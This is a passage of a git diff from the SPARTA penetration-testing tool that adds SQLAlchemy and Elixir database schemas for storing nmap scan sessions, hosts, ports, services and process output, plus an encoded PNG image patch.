primary_key=True) + + def __init__(self, hostId, text): + self.text=unicode(text) + self.host_id=hostId + +class process_output(Base): + __tablename__ = 'process_output' + #output=Column(String, primary_key=True) + id=Column(Integer, primary_key=True) + process_id=Column(Integer, ForeignKey('process.pid')) + output=(String) + + def __init__(self): + self.output=unicode('') + + +class Database: + def __init__(self, dbfilename): + try: + self.name = dbfilename + self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db + self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName=dbfilename)) + self.session = scoped_session(sessionmaker()) + self.session.configure(bind=self.engine) + self.metadata = Base.metadata + self.metadata.create_all(self.engine) + self.metadata.echo = True + self.metadata.bind = self.engine + except Exception as e: + print('[-] Could not create database. Please try again.') + print(e) + + def openDB(self, dbfilename): + try: + self.name = dbfilename + self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db + self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName=dbfilename)) + self.session = scoped_session(sessionmaker()) + self.session.configure(bind=self.engine) + self.metadata = Base.metadata + self.metadata.create_all(self.engine) + self.metadata.echo = True + self.metadata.bind = self.engine + except: + print('[-] Could not open database file. Is the file corrupted?') + + def commit(self): + self.dbsemaphore.acquire() + session = self.session() + session.commit() + self.dbsemaphore.release() + + +if __name__ == "__main__": + + db = Database('myDatabase') diff --git a/db/database.py.orig b/db/database.py.orig new file mode 100644 index 00000000..f11f2dcc --- /dev/null +++ b/db/database.py.orig @@ -0,0 +1,83 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +from elixir import metadata, Entity, Field +from elixir import create_all, setup_all, session +from elixir import Unicode, UnicodeText +from PyQt4.QtCore import QSemaphore +from db.tables import * +import time + +from elixir import metadata, Entity, Field +from elixir import Unicode, UnicodeText, Integer, String +from elixir import OneToMany, ManyToMany, ManyToOne, OneToOne + +# This class holds various info about an nmap scan +class nmap_session(Entity): + filename=Field(String) + start_time=Field(String) + finish_time=Field(String) + nmap_version=Field(String) + scan_args=Field(String) + total_hosts=Field(String) + up_hosts=Field(String) + down_hosts=Field(String) + + def __init__(self, filename, start_time, finish_time, nmap_version='', scan_args='', total_hosts='0', up_hosts='0', down_hosts='0'): + self.filename=filename + self.start_time=start_time + self.finish_time=finish_time + self.nmap_version=nmap_version + self.scan_args=scan_args + self.total_hosts=total_hosts + self.up_hosts=up_hosts + self.down_hosts=down_hosts + +class Database: + # TODO: sanitise dbfilename + def __init__(self, dbfilename): + try: + self.name = dbfilename + self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db + metadata.bind = 'sqlite:///'+dbfilename + metadata.bind.echo = True # uncomment to see detailed database logs + setup_all(create_tables=True) + create_all() + except: + print('[-] Could not create database. Please try again.') + + def openDB(self, dbfilename): + try: + self.name = dbfilename + metadata.bind = 'sqlite:///'+dbfilename + metadata.bind.echo = True # uncomment to see detailed database logs + setup_all() + except: + print('[-] Could not open database file. Is the file corrupted?') + + # this function commits any modified data to the db, ensuring no concurrent write access to the DB (within the same thread) + # if you code a thread that writes to the DB, make sure you acquire/release at the beginning/end of the thread (see nmap importer) + def commit(self): + self.dbsemaphore.acquire() + session.commit() + self.dbsemaphore.release() + + +if __name__ == "__main__": + + db = Database('myDatabase') + + # insert stuff + nmap_session('~/Documents/tools/sparta/tests/nmap-scan-1', 'Wed Jul 10 14:07:36 2013', 'Wed Jul 10 14:29:36 2013', '6.25', 'nmap -sS -A -T5 -p- -oX a-full.xml -vvvvv 172.16.16.0/24', '256', '25', '231') + nmap_session('~/Documents/tools/sparta/tests/nmap-scan-2', 'Wed Jul 15 14:07:36 2013', 'Wed Jul 20 14:29:36 2013', '5.44', 'nmap -sT -A -T3 -p- -oX a-full.xml -vvvvv 172.16.16.0/24', '256', '26', '230') + session.commit() diff --git a/db/tables.py b/db/tables.py new file mode 100644 index 00000000..4e3cf835 --- /dev/null +++ b/db/tables.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +from sqlalchemy import Column, DateTime, String, Integer, ForeignKey, func +from sqlalchemy.orm import relationship, backref +from sqlalchemy.ext.declarative import declarative_base +from six import u as unicode + +Base = declarative_base() + +class process(Base): + __tablename__ = 'process' + pid = Column(String, primary_key=True) + display=Column(String) + name=Column(String) + tabtitle=Column(String) + hostip=Column(String) + port=Column(String) + protocol=Column(String) + command=Column(String) + starttime=Column(String) + endtime=Column(String) + outputfile=Column(String) + output=relationship("process_output", uselist=False, backref="process") + status=Column(String) + closed=Column(String) + + def __init__(self, pid, name, tabtitle, hostip, port, protocol, command, starttime, endtime, outputfile, status, processOutputId): + self.display='True' + self.pid=pid + self.name=name + self.tabtitle=tabtitle + self.hostip=hostip + self.port=port + self.protocol=protocol + self.command=command + self.starttime=starttime + self.endtime=endtime + self.outputfile=outputfile + self.output=processOutputId + self.status=status + self.closed='False' + +class process_output(Base): + __tablename__ = 'process_output' + output=Column(String, primary_key=True) + process=Column(Integer, ForeignKey('process.pid')) + + def __init__(self): + self.output=unicode('') + +# This class holds various info about an nmap scan +class nmap_session(Base): + __tablename__ = 'nmap_session' + filename=Column(String, primary_key=True) + start_time=Column(String) + finish_time=Column(String) + nmap_version=Column(String) + scan_args=Column(String) + total_hosts=Column(String) + up_hosts=Column(String) + down_hosts=Column(String) + + def __init__(self, filename, start_time, finish_time, nmap_version='', scan_args='', total_hosts='0', up_hosts='0', down_hosts='0'): + self.filename=filename + self.start_time=start_time + self.finish_time=finish_time + self.nmap_version=nmap_version + self.scan_args=scan_args + self.total_hosts=total_hosts + self.up_hosts=up_hosts + self.down_hosts=down_hosts + + +class nmap_os(Base): + __tablename__ = 'nmap_os' + name=Column(String, primary_key=True) + family=Column(String) + generation=Column(String) + os_type=Column(String) + vendor=Column(String) + accuracy=Column(String) + host=Column(String, ForeignKey('nmap_host.hostname')) + + def __init__(self, name, family, generation, os_type, vendor, accuracy, hostId): + self.name=name + self.family=family + self.generation=generation + self.os_type=os_type + self.vendor=vendor + self.accuracy=accuracy + self.host=hostId + +class nmap_port(Base): + __tablename__ = 'nmap_port' + port_id=Column(String, primary_key=True) + protocol=Column(String) + state=Column(String) + host=Column(String, ForeignKey('nmap_host.hostname')) + service=Column(String, ForeignKey('nmap_service.name')) + script=Column(String, ForeignKey('nmap_script.script_id')) + + def __init__(self, port_id, protocol, state, host, service=''): + self.port_id=port_id + self.protocol=protocol + self.state=state + self.host=host + self.service=service + +class nmap_service(Base): + __tablename__ = 'nmap_service' + name=Column(String, primary_key=True) + product=Column(String) + version=Column(String) + extrainfo=Column(String) + fingerprint=Column(String) + port=Column(String, ForeignKey('nmap_port.port_id')) + + def __init__(self, name='', product='', version='', extrainfo='', fingerprint=''): + self.name=name + self.product=product + self.version=version + self.extrainfo=extrainfo + self.fingerprint=fingerprint + +class nmap_script(Base): + __tablename__ = 'nmap_script' + script_id=Column(String, primary_key=True) + output=Column(String) + port=Column(String, ForeignKey('nmap_port.port_id')) + host=Column(String, ForeignKey('nmap_host.hostname')) + + def __init__(self, script_id, output, portId, hostId): + self.script_id=script_id + self.output=unicode(output) + self.port=portId + self.host=hostId + +class nmap_host(Base): + __tablename__ = 'nmap_host' + checked=Column(String) + os_match=Column(String) + os_accuracy=Column(String) + ip=Column(String) + ipv4=Column(String) + ipv6=Column(String) + macaddr=Column(String) + status=Column(String) + hostname=Column(String, primary_key=True) + vendor=Column(String) + uptime=Column(String) + lastboot=Column(String) + distance=Column(String) + state=Column(String) + count=Column(String) + + # host relationships + os=Column(String, ForeignKey('nmap_os.name')) + ports=Column(String, ForeignKey('nmap_port.port_id')) + + def __init__(self, os_match='', os_accuracy='', ip='', ipv4='', ipv6='', macaddr='', status='', hostname='', vendor='', uptime='', lastboot='', distance='', state='', count=''): + self.checked='False' + self.os_match=os_match + self.os_accuracy=os_accuracy + self.ip=ip + self.ipv4=ipv4 + self.ipv6=ipv6 + self.macaddr=macaddr + self.status=status + self.hostname=hostname + self.vendor=vendor + self.uptime=uptime + self.lastboot=lastboot + self.distance=distance + self.state=state + self.count=count + + +class note(Base): + __tablename__ = 'note' + host=Column(String, ForeignKey('nmap_host.hostname')) + text=Column(String, primary_key=True) + + def __init__(self, hostId, text): + self.text=unicode(text) + self.host=hostId diff --git a/db/tables.py.orig b/db/tables.py.orig new file mode 100644 index 00000000..d0bac5c9 --- /dev/null +++ b/db/tables.py.orig @@ -0,0 +1,185 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +from elixir import metadata, Entity, Field +from elixir import Unicode, UnicodeText, Integer, String +from elixir import OneToMany, ManyToMany, ManyToOne, OneToOne + +# This class holds various info about an nmap scan +class nmap_session(Entity): + filename=Field(String) + start_time=Field(String) + finish_time=Field(String) + nmap_version=Field(String) + scan_args=Field(String) + total_hosts=Field(String) + up_hosts=Field(String) + down_hosts=Field(String) + + def __init__(self, filename, start_time, finish_time, nmap_version='', scan_args='', total_hosts='0', up_hosts='0', down_hosts='0'): + self.filename=filename + self.start_time=start_time + self.finish_time=finish_time + self.nmap_version=nmap_version + self.scan_args=scan_args + self.total_hosts=total_hosts + self.up_hosts=up_hosts + self.down_hosts=down_hosts + +class nmap_os(Entity): + name=Field(String) + family=Field(String) + generation=Field(String) + os_type=Field(String) + vendor=Field(String) + accuracy=Field(String) + host=ManyToOne('nmap_host') + + def __init__(self, name, family, generation, os_type, vendor, accuracy, hostId): + self.name=name + self.family=family + self.generation=generation + self.os_type=os_type + self.vendor=vendor + self.accuracy=accuracy + self.host=hostId + +class nmap_port(Entity): + port_id=Field(String) + protocol=Field(String) + state=Field(String) + host=ManyToOne('nmap_host') + service=ManyToOne('nmap_service') + script=ManyToMany('nmap_script') + + def __init__(self, port_id, protocol, state, host, service=''): + self.port_id=port_id + self.protocol=protocol + self.state=state + self.host=host + self.service=service + +class nmap_service(Entity): + name=Field(String) + product=Field(String) + version=Field(String) + extrainfo=Field(String) + fingerprint=Field(String) + port=OneToMany('nmap_port') + + def __init__(self, name='', product='', version='', extrainfo='', fingerprint=''): + self.name=name + self.product=product + self.version=version + self.extrainfo=extrainfo + self.fingerprint=fingerprint + +class nmap_script(Entity): + script_id=Field(String) + output=Field(Unicode) + port=ManyToOne('nmap_port') + host=ManyToOne('nmap_host') + + def __init__(self, script_id, output, portId, hostId): + self.script_id=script_id + self.output=unicode(output) + self.port=portId + self.host=hostId + +class nmap_host(Entity): + + # host attributes + checked=Field(String) + os_match=Field(String) + os_accuracy=Field(String) + ip=Field(String) + ipv4=Field(String) + ipv6=Field(String) + macaddr=Field(String) + status=Field(String) + hostname=Field(String) + vendor=Field(String) + uptime=Field(String) + lastboot=Field(String) + distance=Field(String) + state=Field(String) + count=Field(String) + + # host relationships + os=ManyToMany('nmap_os') + ports=ManyToMany('nmap_port') + + def __init__(self, os_match='', os_accuracy='', ip='', ipv4='', ipv6='', macaddr='', status='', hostname='', vendor='', uptime='', lastboot='', distance='', state='', count=''): + self.checked='False' + self.os_match=os_match + self.os_accuracy=os_accuracy + self.ip=ip + self.ipv4=ipv4 + self.ipv6=ipv6 + self.macaddr=macaddr + self.status=status + self.hostname=hostname + self.vendor=vendor + self.uptime=uptime + self.lastboot=lastboot + self.distance=distance + self.state=state + self.count=count + +# this class represents the DB table that will hold information about a process +class process(Entity): + display=Field(String) + pid=Field(String) + name=Field(String) + tabtitle=Field(String) + hostip=Field(String) + port=Field(String) + protocol=Field(String) + command=Field(String) + starttime=Field(String) + endtime=Field(String) + outputfile=Field(String) + output=OneToOne('process_output', inverse='process') + status=Field(String) + closed=Field(String) + + def __init__(self, pid, name, tabtitle, hostip, port, protocol, command, starttime, endtime, outputfile, status, processOutputId): + self.display='True' + self.pid=pid + self.name=name + self.tabtitle=tabtitle + self.hostip=hostip + self.port=port + self.protocol=protocol + self.command=command + self.starttime=starttime + self.endtime=endtime + self.outputfile=outputfile + self.output=processOutputId + self.status=status + self.closed='False' + +class process_output(Entity): + output=Field(Unicode) + process=ManyToOne('process') + + def __init__(self): + self.output=unicode('') + +class note(Entity): + host=ManyToOne('nmap_host') + text=Field(Unicode) + + def __init__(self, hostId, text): + self.text=unicode(text) + self.host=hostId diff --git a/images/advanced.png b/images/advanced.png new file mode 100644 index 0000000000000000000000000000000000000000..6e775dbf3d150797814df2a1fb3820c2cb42c0a3 GIT binary patch literal 15606 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 